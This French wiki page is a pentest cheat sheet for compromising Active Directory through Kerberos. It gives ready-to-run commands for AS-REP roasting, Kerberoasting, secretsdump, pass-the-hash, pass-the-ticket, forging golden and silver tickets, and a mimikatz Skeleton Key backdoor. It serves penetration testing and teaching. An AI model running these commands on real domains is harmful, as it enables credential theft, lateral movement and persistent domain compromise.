[Exploitation/AD] Kerberos

Introduction

Les vulnérabilités du protocole **Kerberos** permettent d'attaquer un domaine Active Directory afin de le compromettre.

Installation des outils

Suite Impacket

```
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket && pip3 install -r /opt/impacket/requirements.txt && cd /opt/impacket/ && python3 ./setup.py install
```

Rubeus

Télécharger le binaire depuis le github officiel du projet :

- https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe

Ressources

- Site officiel des exemples Hashcat
- Fonctionnement de Kerberos par TheHackerRecipe (english)
- Fonctionnement de Kerberos par Hackndo (français)

Attaques et techniques

ASREPRoasting

On peut procéder avec **GetNPUsers** pour essayer de récupérer le **hash NTML** d'un utilisateur :

```
python GetNPUsers.py -dc-ip <DC_IP> <AD_NAME>/<USERNAME>
```

Ou avec **Rubeus** si vous êtes déjà sur une machine du domaine :

```
Rubeus.exe asreproast
```

> Si l'attaque réussie, le hash sera affiché à l'écran.

On peut casser ce hash avec hashcat par exemple :

```
hashcat --hash-type 18200 --attack-mode 0 <HASH_FILE> <PASSWORD_LIST>
```

Connexion partage Samba

- Lister les partages disponibles :

```
smbclient -U <USERNAME> -L "\\<IP>"
```

- Accéder à un partage spécifique :

```
smbclient -U <USERNAME> "\\\<IP>\<SHARE>"
```

Récupération des hashs lié à un compte

L'outil **secretsdump** de la suite impacket permet de récupérer tous les hashs des mots de passe du compte (ce qui est pratique notamment pour le compte backup) :

```
python secretsdump.py <AD_NAME>/<USERNAME>:<PASSWORD>@<DC_IP>
```

Générer un TGT grâce au hash de l'utilisateur

Cette technique est très efficace lorsqu'elle est combinée avec **secretsdump** :

```
getTGT.py -hashes <LM_HASH:NT_HASH> <DOMAIN>/<USER>:<PASSWORD>@<IP>
```

> Le jeton TGT sera sauvegardée sur le serveur au format **ccache** et utilisable avec **smbclient** avec l'option **-k** . Il faudra au préalable utiliser la commande **export KRB5CCNAME=<USER>@<FQDN.ccache>** .

PassTheHash

- **EvilWinRM** permet de réaliser des attaques **PassTheHash** :

```
evil-winrm -i <DC_IP> -u <USER> -H <HASH>
```

- **WMIExec** est une alternative à EvilWinrRM :

```
python wmiexec.py <AD_NAME>/<USERNAME>@<DC_IP> -hashes <HASH>
```

- Ou alors on peut aussi utiliser **Metasploit** :

```
msfconsole

use exploit/windows/smb/psexec
set RHOSTS <IP>
set SMBPass <LM:NTLM>
set SMBUser <Username>
run
```

- Ou encore **Mimikatz** :

```
sekurlsa::pth /user:<USER> /domain:<DOMAIN_FQDN> /ntlm:<NTLM_HASH>
```

- Vous pouvez aussi vous connecter à un partage samba à l'aide du hash NT et LM :

```
smbclient.py -hashes <LM_HASH:NT_HASH> <DOMAIN>/<USER>:<PASSWORD>@<IP>
```

Pass-the-key

Dans le cas où vous auriez récupérer la clé d'authentification d'un compte utilisateur, vous pourriez l'utiliser de manière à **pivoter** et utiliser ses droits :

```
mimikatz "privilege::debug" "sekurlsa::ekeys"
```

```
mimikatz "privilege::debug" "sekurlsa::pth /user:<USER> /domain:<FQDN_DOMAIN> /aes256:<KEY>"
```

Une fois que les identifiants de session sont chargés, vous pouvez pivoter sur un autre poste en utilisant cette commande :

```
winrs.exe -r:<IP|DOMAIN_NAME> cmd
```

> Vous pouvez aussi utiliser **PsExec** mais **winrs** est présent par défaut.

Kerberoasting

Cette technique requiert un premier accès au domaine et consiste à récupérer le **hash d'un compte de service** afin d'essayer de le déchiffrer et ainsi pouvoir usurper l'identité du compte de service.

Une fois connecté dans le shell du compte de l'accès initial, on peut lancer une attaque kerberoasting avec **Rubeus** :

```
Rubeus.exe kerberoast /outfile:hashes.txt
```

> Tous les comptes de services seront ciblés si on ne spécifie pas l'option **/user** .

Ou alors avec le script **GetUserSPNs** de la suite Impacket :

```
sudo python3 GetUserSPNs.py controller.local/Machine1:<PASSWORD> -dc-ip <MACHINE_IP> -request
```

Parfois vous obtiendrez une erreur de type KRB_AP_ERR_SKEW qui veut dire que votre horloge n'est pas synchronisée avec l'AD distant, pour corriger cela, ouvrez un deuxième shell et lancez la commande suivante en parallèle de la commande précédente :

```
while true; do sudo ntpdate <DC_IP>; sleep 1; done
```

On peut ensuite essayer de casser le hash avec hashcat :

```
hashcat -m 13100 -a 0 <HASH_FILE> <WORDLIST>
```

Pass-the-ticket

Cette technique permet de récupérer tous les **tickets TGT** contenus dans la **base LSASS**, c'est à dire tous les tickets TGT qui ont été générés sur le poste local pour se connecter à des comptes utilisateurs.

Cela peut servir pour faire du **pivoting** ou même une **escalade de privilège** si un administrateur s'est connecté sur le poste.

Voici comment collecter l'ensemble des tickets TGT de la base LSASS avec **Mimikatz** :

```
privilege::debug
```

```
sekurlsa::tickets /export
```

On peut ensuite **injecter** un de ces ticket TGT :

```
kerberos::ptt <TGT_FILE>
```

> On possède désormais les droits attribués à ce ticket.

Afficher les tickets et les clés chargés localement

La commande **klist** permet d'afficher les tickets chargés dans le système :

```
klist
```

Attaques par silver et golden tickets

Le **silver ticket** permet de créer un ticket TGS d'un service spécifique tandis que le **golden ticket** permet de créer un ticket TGS du service **krbtgt**.

Ce dernier est le compte de service du **KDC** et peut donc générer n'importe quel ticket de service, c'est le jackpot.

Voici comment forger son propre ticket (silver ou golden) avec **Mimikatz** :

```
kerberos::golden /user:Administrator /domain:controller.local /sid:<SID> /krbtgt:<TGT_FILE> /id:<ID>
```

- À noter que l'outil **ticketer** de la suite Impacket permet aussi de générer un golden ticket :

```
ticketer.py -nthash <NT_HASH_KRBTGT> -domain-sid <DOMAIN_SID> -domain <FQDN> baduser
```

> Le compte **baduser** est un compte inutilisé du domaine.

Skeleton Key

Afin de mettre une backdoor sur le KDC, **mimikatz** met à disposition l'outil Skeleton qui permet de se connecter à n'importe quel utilisateur du domaine avec le mot de passe "mimikatz" sans changer le mot de passe des utilisateurs :

```
misc::skeleton
```

Puis exécutez la commande suivante dans le shell :

```
net use \\<IP>\<SHARE> user:Administrator mimikatz
```

Revision #23
Created 3 October 2023 14:47:04 by Elieroc
Updated 18 December 2024 14:41:36 by Elieroc